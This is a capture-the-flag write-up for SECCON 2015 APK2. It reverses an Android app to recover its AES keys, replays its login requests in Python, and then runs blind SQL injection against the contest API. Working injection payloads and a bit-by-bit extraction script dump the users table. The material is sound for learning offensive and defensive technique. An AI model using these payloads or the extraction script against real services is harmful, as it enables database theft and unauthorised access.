SECCON CTF 2015 - APK2

Given an APK file.

1. Run anyway

I first installed this app in my Android phone. It has three screens.

  • Login with email + password
  • Register email + name + password
  • Show user info (name) when logged in

2. Reverse app

It’s time to decompile the app. Use apktool, dex2jar, jad as usual. My tool apkext came in handy.

2.1. The standard way

From AndroidManifest.xml, we find that the entry point activity is kr.repo.h2spice.yekehtmai.MainActivity. The program is obfuscated via name substitution.

// kr.repo.h2spice.yekehtmai.MainActivity
      private void a(String s, String s1)
      {
          f.setMessage("Logging in ...");
          a();
          s = new i(this, 1, a.a, new g(this), new h(this), s, s1);
          AppController.a().a(s, "req_login");
      }

This function seems to be the login button handler. I tried dig into classes like i, g, h, AppController. But it was too complicated. Instead I started to browse the directory kr.repo.h2spice.yekehtmai.

2.2. Look around

// kr.repo.h2spice.yekehtmai.a
      public static String a = "http://apk.pwn.seccon.jp/login.php";
      public static String b = "http://apk.pwn.seccon.jp/register.php";

We found the API server’s URLs.

// kr.repo.h2spice.yekehtmai.b
public static final byte[] a(byte abyte0[]) { ... }   // base64 decode
// kr.repo.h2spice.yekehtmai.c
public static String a(String s, String s1)    // encrypt(data, key)
public static String b(String s, String s1)    // decrypt(data, key)

These two functions implement AES/ECB/PKCS5Padding scheme. Ciphertext is passed as base64 encoded format.

// kr.repo.h2spice.yekehtmai.i

public Map l()
    {
        HashMap hashmap = new HashMap();
        hashmap.put("email", kr.repo.h2spice.yekehtmai.c.a(a, MainActivity.m(c) + MainActivity.l(c) + MainActivity.k(c) + MainActivity.j(c) + MainActivity.i(c) + MainActivity.h(c) + MainActivity.g(c) + MainActivity.f(c)));
        hashmap.put("password", kr.repo.h2spice.yekehtmai.c.a(b, MainActivity.m(c) + MainActivity.l(c) + MainActivity.k(c) + MainActivity.j(c) + MainActivity.i(c) + MainActivity.h(c) + MainActivity.g(c) + MainActivity.f(c)));
        return hashmap;
    }

This is the login packet. We see that the parameters are AES encrypted with some complicated key value.

public class key
{
// from kr.repo.h2spice.yekehtmai.j
    public static int a(int i)
    {
        long l = i;
        l ^= l << 21;
        l ^= l >>> 35;
        l ^= l << 4;
        return (int)(l & (1L << (int)l) - 1L);
    }
    public static int a(String s)
    {
        int k = Integer.valueOf(s.substring(0, 5), 36).intValue();
        int l = Integer.valueOf(s.substring(5, 10), 36).intValue();
        for(int i = 4; i != 0; i--)
        {
            l = (l - b(k)) % 0x39aa400;
            k = (k - b(l)) % 0x39aa400;
        }
        return ((k + 0x39aa400) % 0x39aa400) * 0x39aa400 + (l + 0x39aa400) % 0x39aa400;
    }
    private static int b(int i)
    {
        int k = a;
        byte byte0 = 4;
        k = (k + i) % 0x39aa400;
        for(i = byte0; i != 0; i--)
            k = (k * 13 + 0x5125abc7) % 0x39aa400;
        return k;
    }

    public static void main (String[] args)
    {
      String[] arr = {"GN390SYC6W","Z6IYIQDTQS","INA60E9KTC","RGC9RZR6TY","0Q24IYGXLW","GSN60XD1S0","H9AX0AL6JC","8RCN9XWZOY"};
      for (int i=0; i<arr.length; i++)
        System.out.print(a(arr[i]));
      System.out.println();
    }
}

The encryption key for login can be reproduced as above. It’s 3246847986364861. Similarly, encryption key for register is 9845674983296465.

// kr.repo.h2spice.yekehtmai.WelcomeActivity
        Object obj = d.a();
        bundle = (String)((HashMap) (obj)).get("name");
        String s = (String)((HashMap) (obj)).get("email");
        obj = ((String)((HashMap) (obj)).get("uid")).substring(i, k);
        try
        {
            f = kr.repo.h2spice.yekehtmai.c.b("fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=", ((String) (obj)));
        }
        a.setText(bundle);
        b.setText(f);

WelcomeActivity had this suspicious code. Decrypting the data with right uid should give us the flag.

2.3. Packet Sniffing

Then we wanted to know if login request is sent via GET or POST, and if the data is in urlencoded format or json, and so on. Thus we captured the communication between the app and the API server.

On a Linux server, setup a PPTP VPN server. Then in an Android machine, connect to the VPN server and launch the app.

Since the communication is in HTTP we can simply use tcpdump to capture the packets.

sudo tcpdump -i ppp0 -nnvvASs 1514 host 153.120.166.206

When I logged in with rrr@rrr.com and rrr, following packet was captured. It’s HTTP POST request with the data in urlencoded format. Register packet was similar.

POST /login.php HTTP/1.1
If-Modified-Since: Sat, 05 Dec 2015 12:06:16 GMT+00:00
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; SM-G720N0 Build/KTU84P)
Host: apk.pwn.seccon.jp
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 75

password=whpkcvR609eLhzW%2BwYSoEQ%3D%3D&email=zFdy3Su3sxRXMQX6stmYyg%3D%3D&

3. Simulate app behavior

from Crypto.Cipher import AES
from Crypto import Random
import requests

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

def decrypt(s, k):
    cipher = AES.new(k, AES.MODE_ECB)
    pt = cipher.decrypt(s)
    return unpad(pt)

def encrypt(s, k):
    cipher = AES.new(k, AES.MODE_ECB)
    ct = cipher.encrypt(pad(s))
    return ct

logink = "3246847986364861"
regk =   "9845674983296465"

def login(email, password):
    data = {
        'password': encrypt(password, logink).encode('base64').rstrip('\n'),
        'email': encrypt(email, logink).encode('base64').rstrip('\n')
    }
    r = requests.post("http://apk.pwn.seccon.jp/login.php", data=data)
    return r.json()

def register(email, password, name):
    data = {
        'password': encrypt(password, regk).encode('base64').rstrip('\n'),
        'email': encrypt(email, regk).encode('base64').rstrip('\n'),
        'name': encrypt(name, regk).encode('base64').rstrip('\n')
    }
    r = requests.post("http://apk.pwn.seccon.jp/register.php", data=data)
    return r.json()

print login("rrr@rrr.com", "rrr")

4. Attack API Server

The API server is PHP pages. We can suspect SQL injection. After some tries, we succeeded to login with rrr@rrr.com' and 1#.

Logging in with rrr@rrr.com' and if(mid((select version()),1,1)>4,1,0)# responded with

{u'user': {u'updated_at': None, u'created_at': u'2015-12-05 21:14:39', u'name': u'rrr', u'email': u'rrr@rrr.com'}, u'uid': u'fcc89db8033ce7ce15aed60', u'error': False

Logging in with rrr@rrr.com' and if(mid((select version()),1,1)<=4,1,0)# responded with

{u'error_msg': u'Login credentials are wrong. Please try again!', u'error': True}

So we can extract database by blind SQL injection attack.

def check_truth(expr):
    pay = "rrr@rrr.com' and if((%s),1,0)#" % expr
    result = login(pay, 'rrr')
    return not result['error']

def get_char(query, idx):
    char = "lpad(bin(ascii(mid((%s),%d,1))),8,0)" % (query, idx)
    s = ''
    for j in range(1,9):
        bit = "substr(%s,%d,1)=1" % (char, j)
        res = check_truth(bit)
        if res:
            s += '1'
            print '1',
        else:
            s += '0'
            print '0',
        print bit
    return chr(int(s,2))

def get_data(query):
    s = ""
    for i in range(100):
        c = get_char(query, i+1)
        s += c
        print s
        if c == '\x00': break
    return s

Below are some of the database contents.

print get_data("select group_concat(schema_name) from information_schema.schemata")
# information_schema,seccon2015

print get_data("select group_concat(table_name) from information_schema.tables where table_schema='seccon2015'")
# users

print get_data("select group_concat(column_name) from information_schema.columns where table_name='users'")
# id,unique_id,name,email,encrypted_password,salt,created_at,updated_at

print get_data("select group_concat(name) from users order by created_at")
# h2spice,,,iamthekey,Name,hello,hello1,he ...

print get_data("select unique_id from users where name='iamthekey'")
# a159c1f7097ba80403d29e7

iamthekey was the obviously the user holding the correct uid.

5. Flag

print decrypt('fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4='.decode('base64'), 'a159c1f7097ba80403d29e7'[0:16])
# SECCON{6FgshufUTpRm}

Other posts (list)


SECCON CTF 2015 - Individual Elebin
SECCON CTF 2015 - Remote GDB
SECCON CTF 2015 - APK2
SECCON CTF 2015 - Hardware 2
안드로이드 앱 패킷 캡쳐하기